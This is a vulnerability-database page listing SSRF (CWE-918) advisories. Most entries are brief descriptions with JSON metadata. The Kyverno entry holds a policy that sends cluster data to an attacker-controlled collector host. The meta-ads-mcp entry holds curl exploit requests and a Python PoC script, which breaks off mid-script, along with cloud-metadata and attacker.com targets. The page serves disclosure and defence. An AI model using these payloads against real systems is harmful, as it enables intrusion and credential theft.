Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4713 vulnerabilities reference this CWE, most recent first.

GHSA-44GJ-57CG-MXJ8

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-09-15 00:00
VLAI
Details

An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an SSRF in the HA module allowing an unauthenticated attacker to scan for open ports.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-16T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an SSRF in the HA module allowing an unauthenticated attacker to scan for open ports.",
  "id": "GHSA-44gj-57cg-mxj8",
  "modified": "2022-09-15T00:00:20Z",
  "published": "2022-05-24T17:42:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35561"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/de-de/advisories/vde-2021-003"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2021-003"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2022-039"
    },
    {
      "type": "WEB",
      "url": "https://mbconnectline.com/security-advice"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-44RR-JG32-2W2Q

Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10
VLAI
Details

A server-side request forgery (SSRF) (CWE-918) vulnerability in FortiManager and FortiAnalyser GUI 7.0.0, 6.4.5 and below, 6.2.7 and below, 6.0.11 and below, 5.6.11 and below may allow a remote and authenticated attacker to access unauthorized files and services on the system via specifically crafted web requests.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-05T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) (CWE-918) vulnerability in FortiManager and FortiAnalyser GUI 7.0.0, 6.4.5 and below, 6.2.7 and below, 6.0.11 and below, 5.6.11 and below may allow a remote and authenticated attacker to access unauthorized files and services on the system via specifically crafted web requests.",
  "id": "GHSA-44rr-jg32-2w2q",
  "modified": "2022-05-24T19:10:14Z",
  "published": "2022-05-24T19:10:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32603"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-21-050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-44VV-MM86-7CG6

Vulnerability from github – Published: 2022-05-14 03:14 – Updated: 2025-04-21 22:59
VLAI
Summary
phpMyAdmin server-side request forgery (SSRF)
Details

The setup script for phpMyAdmin before 4.0.10.19, 4.4.x before 4.4.15.10, and 4.6.x before 4.6.6 allows remote attackers to conduct server-side request forgery (SSRF) attacks via unspecified vectors.

Severity
8.6 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0"
            },
            {
              "fixed": "4.4.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.10.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-6621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-21T22:59:19Z",
    "nvd_published_at": "2017-01-31T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "The setup script for phpMyAdmin before 4.0.10.19, 4.4.x before 4.4.15.10, and 4.6.x before 4.6.6 allows remote attackers to conduct server-side request forgery (SSRF) attacks via unspecified vectors.",
  "id": "GHSA-44vv-mm86-7cg6",
  "modified": "2025-04-21T22:59:19Z",
  "published": "2022-05-14T03:14:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6621"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpmyadmin/composer"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "https://www.phpmyadmin.net/security/PMASA-2016-44"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyAdmin server-side request forgery (SSRF)"
}

GHSA-454G-CXF7-RRV8

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2024-04-04 03:05
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in saveUrlAs function in ImagesService.java in sunkaifei FlyCMS version 20190503.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-19613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-01T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in saveUrlAs function in ImagesService.java in sunkaifei FlyCMS version 20190503.",
  "id": "GHSA-454g-cxf7-rrv8",
  "modified": "2024-04-04T03:05:39Z",
  "published": "2022-05-24T17:46:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunkaifei/FlyCms/issues/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4588-7X48-JRGJ

Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2025-03-04 18:10
VLAI
Summary
Magento Open Source allows Server-Side Request Forgery (SSRF)
Details

Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
4.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.4-p1"
            },
            {
              "fixed": "2.4.4-p4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T18:10:35Z",
    "nvd_published_at": "2023-06-15T19:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-4588-7x48-jrgj",
  "modified": "2025-03-04T18:10:35Z",
  "published": "2023-06-15T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29292"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source allows Server-Side Request Forgery (SSRF)"
}

GHSA-458X-W2CV-XVRX

Vulnerability from github – Published: 2022-05-16 00:00 – Updated: 2022-05-25 00:00
VLAI
Details

A Server-Side Request Forgery (SSRF) in Rebuild v2.8.3 allows attackers to obtain the real IP address and scan Intranet information via the fileurl parameter.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-15T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) in Rebuild v2.8.3 allows attackers to obtain the real IP address and scan Intranet information via the fileurl parameter.",
  "id": "GHSA-458x-w2cv-xvrx",
  "modified": "2022-05-25T00:00:25Z",
  "published": "2022-05-16T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getrebuild/rebuild/issues/460"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4595-C522-XW7R

Vulnerability from github – Published: 2025-08-06 21:31 – Updated: 2025-08-06 21:31
VLAI
Details

4C Strategies Exonaut before v21.6.2.1-1 was discovered to contain a Server-Side Request Forgery (SSRF).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-55399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-06T21:15:28Z",
    "severity": "MODERATE"
  },
  "details": "4C Strategies Exonaut before v21.6.2.1-1 was discovered to contain a Server-Side Request Forgery (SSRF).",
  "id": "GHSA-4595-c522-xw7r",
  "modified": "2025-08-06T21:31:39Z",
  "published": "2025-08-06T21:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55399"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Jowu73/1e8cb2a5c73a79eb36f2c6b3d9eb1b83"
    },
    {
      "type": "WEB",
      "url": "http://exonaut.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-459X-Q9HG-4GPQ

Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11
VLAI
Summary
Kyverno vulnerable to SSRF via Service Calls
Details

Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs: Снимок экрана 2025-02-21 в 17 31 25

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-15T21:19:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
  "id": "GHSA-459x-q9hg-4gpq",
  "modified": "2025-04-23T15:11:02Z",
  "published": "2025-04-15T21:19:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kyverno vulnerable to SSRF via Service Calls"
}

GHSA-45GF-FJXP-CJPQ

Vulnerability from github – Published: 2026-07-17 18:47 – Updated: 2026-07-17 18:47
VLAI
Summary
meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch
Details

Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Summary

The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).

Details

Source

meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.

# meta_ads_mcp/core/ads.py
1316: @mcp_server.tool()
1318: async def upload_ad_image(
1322:     image_url: Optional[str] = None,

Propagation

meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.

# meta_ads_mcp/core/ads.py
1389:     image_bytes = await try_multiple_download_methods(image_url)

Sinks

meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:

# meta_ads_mcp/core/utils.py
166:     async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
168:         response = await client.get(url, headers=headers)

214:     async with httpx.AsyncClient(follow_redirects=True) as client:
215:         response = await client.get(url, headers=headers, timeout=30.0)

224:     async with httpx.AsyncClient(follow_redirects=True) as client:
228:         response = await client.get(url, timeout=30.0)

Authorization bypass

meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.

Absence of sanitization

A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.

Transport exposure

meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.

PoC

Environment setup

# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile \
  -t meta-ads-ssrf-poc \
  reports/pypiAi_615_pipeboard-co__meta-ads-mcp/

docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmed

Manual reproduction (two terminals)

# Terminal 1 — SSRF capture listener on port 9009
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("SSRF GET", self.path, flush=True)
        body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
HTTPServer(("127.0.0.1", 9009), H).serve_forever()
PY

# Terminal 2 — start the vulnerable MCP server
META_APP_ID=dummy META_APP_SECRET=dummy \
  python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080

Exploit request

# 1. Initialize MCP session
curl -sS -X POST http://127.0.0.1:8080/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "Authorization: Bearer dummy-token" \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'

# 2. Send SSRF payload — image_url points to internal listener
curl -sS -X POST http://127.0.0.1:8080/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "Authorization: Bearer dummy-token" \
  -d '{
    "jsonrpc": "2.0",
    "method": "tools/call",
    "id": 1,
    "params": {
      "name": "upload_ad_image",
      "arguments": {
        "account_id": "act_123456789",
        "image_url": "http://127.0.0.1:9009/poc.jpg"
      }
    }
  }'

Expected result

Terminal 1 prints:

SSRF GET /poc.jpg

The curl response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound GET /poc.jpg request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.

Confirmed runtime evidence (from Docker run)

[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'
[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009
  -> GET /poc.jpg  |  User-Agent: 'curl/8.4.0'

Alternative targets

Replace http://127.0.0.1:9009/poc.jpg with: - http://169.254.169.254/latest/meta-data/ — cloud instance metadata (AWS/GCP/Azure) - http://10.0.0.1/ — RFC 1918 internal network services - http://attacker.com/redirect — a public URL that redirects to an internal target (exploitable via follow_redirects=True)

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC tools/call request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:

  • Localhost services: databases, admin panels, internal APIs, and other processes bound to 127.0.0.1 on the host
  • RFC 1918 / private network addresses: internal microservices, Kubernetes control planes, cloud-internal load balancers
  • Cloud instance metadata endpoints: http://169.254.169.254/ (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets
  • Redirect-chained internal targets: any internal host reachable via a public-to-private redirect, because follow_redirects=True is set on all three fetch paths without re-validation at each hop

The SSRF fires before Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).

Operators deploying meta-ads-mcp with --transport streamable-http in environments co-located with sensitive internal services or cloud metadata services are directly at risk.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

# Install system build dependencies
RUN apt-get update && \
    apt-get install -y --no-install-recommends gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Install pip and uv for fast dependency installation
RUN pip install --upgrade pip && pip install uv

# Install Python dependencies from the cloned repo
COPY repo/requirements.txt .
RUN uv pip install --system -r requirements.txt

# Copy the full application source (cloned repo)
COPY repo/ .

# Install the package in editable mode (no extra deps, already installed above)
RUN pip install --no-deps -e .

# Copy the PoC exploit script into the image
COPY vuln-001/poc.py /poc.py

# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error
CMD ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113
CWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)

Attack flow:
  1. Attacker sends tools/call for upload_ad_image with image_url="http://127.0.0.1:9009/poc.jpg"
  2. MCP server calls try_multiple_download_methods(image_url) with no URL validation
  3. httpx.AsyncClient(follow_redirects=True).get("http://127.0.0.1:9009/poc.jpg") fires
  4. SSRF listener records the inbound GET, proving the server issued the request

Authorization bypass: only a non-empty Bearer token string is required before the fetch;
the actual Meta API credential check happens after the image download.
"""

import threading
import subprocess
import time
import json
import sys
import socket
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

import httpx

# ── Configuration ─────────────────────────────────────────────────────────────
SSRF_PORT = 9009       # Port for the SSRF capture listener
MCP_PORT  = 8080       # Port for the vulnerable MCP server
SSRF_PATH = "/poc.jpg" # Path that the MCP server will request (SSRF indicator)

# ── Shared state ──────────────────────────────────────────────────────────────
ssrf_hits: list = []
ssrf_lock = threading.Lock()


# ── SSRF capture listener ─────────────────────────────────────────────────────

class SSRFCaptureHandler(BaseHTTPRequestHandler):
    """Records every inbound GET request made by the vulnerable MCP server."""

    def do_GET(self):
        hit = {
            "method": "GET",
            "path": self.path,
            "host": self.client_address[0],
            "user_agent": self.headers.get("User-Agent", ""),
        }
        with ssrf_lock:
            ssrf_hits.append(hit)
        print(
            f"[SSRF LISTENER] Received GET {self.path!r}"
            f" from {self.client_address[0]}"
            f" | User-Agent: {hit['user_agent']!r}",
            flush=True,
        )
        # Return a minimal valid JPEG so the server processes the response
        body = (
            b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
            b"\xff\xd9"
        )
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass  # Suppress default access log to keep output clean


def start_ssrf_listener() -> None:
    server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
    server.serve_forever()


# ── Helpers ───────────────────────────────────────────────────────────────────

def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
    """Poll until the TCP port is accepting connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=1.0):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(0.5)
    return False


def mcp_post(
    method: str,
    params: dict,
    req_id: int,
    session_id: str | None = None,
) -> httpx.Response:
    """Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.

    Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
    with HTTP 307, so we skip the redirect by targeting the canonical path directly.
    Accept header must include text/event-stream; without it the server returns 406.
    """
    headers = {
        "Content-Type": "application/json",
        # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
        # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
        "Accept": "application/json, text/event-stream",
        # Dummy Bearer token — the middleware only checks that it is non-empty;
        # Meta API credential validation happens AFTER the image download (SSRF sink).
        "Authorization": "Bearer dummy-ssrf-poc-token",
    }
    if session_id:
        headers["Mcp-Session-Id"] = session_id

    payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
    with httpx.Client(timeout=30.0) as client:
        return client.post(
            f"http://127.0.0.1:{MCP_PORT}/mcp",  # no trailing slash
            json=payload,
            headers=headers,
        )


# ── Main PoC ──────────────────────────────────────────────────────────────────

def main() -> int:
    print("=" * 65, flush=True)
    print("VULN-001 PoC  —  SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
    print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
    print("=" * 65, flush=True)

    # ── Step 1: Start the SSRF capture listener ────────────────────────────
    t = threading.Thread(target=start_ssrf_listener, daemon=True)
    t.start()
    time.sleep(0.3)
    print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)

    # ── Step 2: Start the vulnerable MCP server ────────────────────────────
    env = os.environ.copy()
    # Dummy credentials so the server starts; the Meta API is only called after
    # the image has already been fetched (i.e., after the SSRF fires).
    env.setdefault("META_APP_ID", "poc-dummy-app-id")
    env.setdefault("META_APP_SECRET", "poc-dummy-secret")
    env.setdefault("PIPEBOARD_API_TOKEN", "")

    proc = subprocess.Popen(
        [
            sys.executable, "-m", "meta_ads_mcp",
            "--transport", "streamable-http",
            "--host", "127.0.0.1",
            "--port", str(MCP_PORT),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
